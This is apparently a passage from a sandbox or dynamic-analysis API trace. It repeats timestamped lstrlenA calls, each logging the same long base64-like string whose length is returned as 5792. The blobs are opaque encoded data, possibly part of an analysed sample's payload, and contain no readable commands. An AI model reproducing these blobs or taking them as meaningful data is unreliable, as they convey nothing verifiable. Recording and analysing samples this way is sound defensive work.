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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.365] lstrlenA 